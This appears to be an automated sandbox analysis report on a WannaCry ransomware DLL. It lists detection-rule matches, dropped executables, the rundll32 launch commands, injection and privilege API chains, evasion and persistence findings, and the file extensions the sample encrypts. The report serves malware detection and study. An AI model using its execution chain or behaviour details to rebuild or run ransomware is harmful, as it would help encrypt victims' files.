              Source: 00000006.00000002.479754496.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000006.00000000.391215841.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.394171945.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000006.00000000.393482801.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.387382514.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13CC24_2_00C13CC2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C128C84_2_00C128C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13CF04_2_00C13CF0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13D4B4_2_00C13D4B
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13D1F4_2_00C13D1F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13D364_2_00C13D36
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13C3D4_2_00C13C3D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF04_2_7FEA3CF0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA28C84_2_7FEA28C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CC24_2_7FEA3CC2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA4C9E4_2_7FEA4C9E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D4B4_2_7FEA3D4B
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3C3D4_2_7FEA3C3D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D364_2_7FEA3D36
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D1F4_2_7FEA3D1F
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93CF09_2_00B93CF0
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B928C89_2_00B928C8
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93CC29_2_00B93CC2
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93C3D9_2_00B93C3D
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93D369_2_00B93D36
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93D1F9_2_00B93D1F
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93D4B9_2_00B93D4B
              Source: C:\Windows\tasksche.exeCode function: 24_2_00406C4024_2_00406C40
              Source: C:\Windows\tasksche.exeCode function: 24_2_00402A7624_2_00402A76
              Source: C:\Windows\tasksche.exeCode function: 24_2_00402E7E24_2_00402E7E
              Source: C:\Windows\tasksche.exeCode function: 24_2_0040350F24_2_0040350F
              Source: C:\Windows\tasksche.exeCode function: 24_2_00404C1924_2_00404C19
              Source: C:\Windows\tasksche.exeCode function: 24_2_0040541F24_2_0040541F
              Source: C:\Windows\tasksche.exeCode function: 24_2_0040379724_2_00403797
              Source: C:\Windows\tasksche.exeCode function: 24_2_004043B724_2_004043B7
              Source: C:\Windows\tasksche.exeCode function: 24_2_004031BC24_2_004031BC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C105F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,FindCloseChangeNotification,4_2_00C105F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00C1144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1116F LoadLibraryA,GetModuleHandleA,NtCreateProcessEx,NtMapViewOfSection,NtQueryInformationToken,NtAdjustPrivilegesToken,4_2_00C1116F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C12574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_00C12574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C12477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_00C12477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00C1042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1252F NtOpenSection,4_2_00C1252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C133E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00C133E0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C124AE lstrcpyW,lstrlenW,NtCreateSection,4_2_00C124AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_00C13405
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C11422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_00C11422
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA33E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA33E0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA24AE lstrcpyW,lstrlenW,NtCreateSection,4_2_7FEA24AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_7FEA2477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2574 NtMapViewOfSection,CloseHandle,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_7FEA2574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA252F NtOpenSection,4_2_7FEA252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA1422
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA3405
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B905F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,9_2_00B905F2
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B9252F NtOpenSection,9_2_00B9252F
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B92574 NtMapViewOfSection,FindCloseChangeNotification,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,9_2_00B92574
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B92477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,9_2_00B92477
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B9116F LoadLibraryA,GetModuleHandleA,NtCreateProcessEx,NtMapViewOfSection,NtQueryInformationToken,NtAdjustPrivilegesToken,9_2_00B9116F
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B9144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,9_2_00B9144A
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B924AE lstrcpyW,lstrlenW,NtCreateSection,9_2_00B924AE
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B933E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,9_2_00B933E0
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B9042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,9_2_00B9042D
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B91422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,9_2_00B91422
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B93405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,9_2_00B93405
              Source: mssecsvc.exe.2.drStatic PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
              Source: tasksche.exe.6.drStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract
              Source: 7KPQg3aXdC.dllVirustotal: Detection: 85%
              Source: 7KPQg3aXdC.dllMetadefender: Detection: 71%
              Source: 7KPQg3aXdC.dllReversingLabs: Detection: 90%
              Source: 7KPQg3aXdC.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll"
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7KPQg3aXdC.dll,PlayGame
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",PlayGame
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: unknownProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe -m security
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1Jump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7KPQg3aXdC.dll,PlayGameJump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",PlayGameJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\7KPQg3aXdC.dll",#1Jump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /iJump to behavior
              Source: C:\Windows\mssecsvc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
              Source: C:\Windows\System32\BackgroundTransferHost.exeFile created: C:\Users\user\AppData\Local\Packages\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\AC\BackgroundTransferApi\fd2c7060-9986-4a11-a6af-5ae5175c3daf.down_dataJump to behavior
              Source: classification engineClassification label: mal100.rans.troj.evad.winDLL@23/26@2/2
              Source: C:\Windows\tasksche.exeCode function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,24_2_00401CE8
              Source: C:\Windows\tasksche.exeCode function: 24_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,24_2_00401CE8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C105F2 FindCloseChangeNotification,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,FindCloseChangeNotification,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,FindCloseChangeNotification,4_2_00C105F2
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\7KPQg3aXdC.dll,PlayGame
              Source: mssecsvc.exe, 00000004.00000002.718971508.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000000.389294793.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000000.397994686.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000006.00000002.479754496.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000000.403073073.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000009.00000002.504932640.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 00000018.00000002.476855965.000000000040E000.00000008.00000001.01000000.00000005.sdmpBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\BackgroundTransferHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\BackgroundTransferHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: 7KPQg3aXdC.dllStatic file information: File size 5267459 > 1048576
              Source: 7KPQg3aXdC.dllStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA6F8B push esi; iretd 4_2_7FEA6F8C
              Source: C:\Windows\tasksche.exeCode function: 24_2_00407710 push eax; ret 24_2_0040773E
              Source: C:\Windows\tasksche.exeCode function: 24_2_004076C8 push eax; ret 24_2_004076E6
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C13D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_00C13D36

              Persistence and Installation Behavior

              barindex
              Drops executables to the windows directory (C:\Windows) and starts them
              Source: C:\Windows\mssecsvc.exeExecutable created and started: C:\WINDOWS\tasksche.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeExecutable created and started: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\Windows\mssecsvc.exeJump to dropped file
              Source: C:\Windows\mssecsvc.exeFile created: C:\Windows\tasksche.exeJump to dropped file
              Source: C:\Windows\tasksche.exeCode function: 24_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,24_2_00401CE8
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\BackgroundTransferHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\System32\BackgroundTransferHost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

              Malware Analysis System Evasion

              barindex
              Found evasive API chain (may execute only at specific dates)
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodes,Sleepgraph_9-2608
              Tries to evade debugger and weak emulator (self modifying code)
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A718DE instructions caused by: Self-modifying code
              Source: C:\Windows\mssecsvc.exeSpecial instruction interceptor: First address: 0000000000A6B1E4 instructions caused by: Self-modifying code
              Contains functionality to detect sleep reduction / modifications
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C141784_2_00C14178
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA41784_2_7FEA4178
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B941789_2_00B94178
              Source: C:\Windows\mssecsvc.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_9-2608
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00C1042D rdtsc 4_2_00C1042D
              Source: C:\Windows\mssecsvc.exeAPI coverage: 6.3 %
              Source: C:\Windows\mssecsvc.exeAPI coverage: 7.8 %
              Source: C:\Windows\mssecsvc.exeCode function: 9_2_00B941789_2_00B94178
              Source: C:\Windows\mssecsvc.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Windows\System32\loaddll32.exeThread delayed: delay time: 120000Jump to behavior
              Source: svchost.exe, 0000001C.00000002.922368905.0000029A9C426000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicheartbeat
              Source: svchost.exe, 00000024.00000002.937678637.00000266A5B7E000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>N
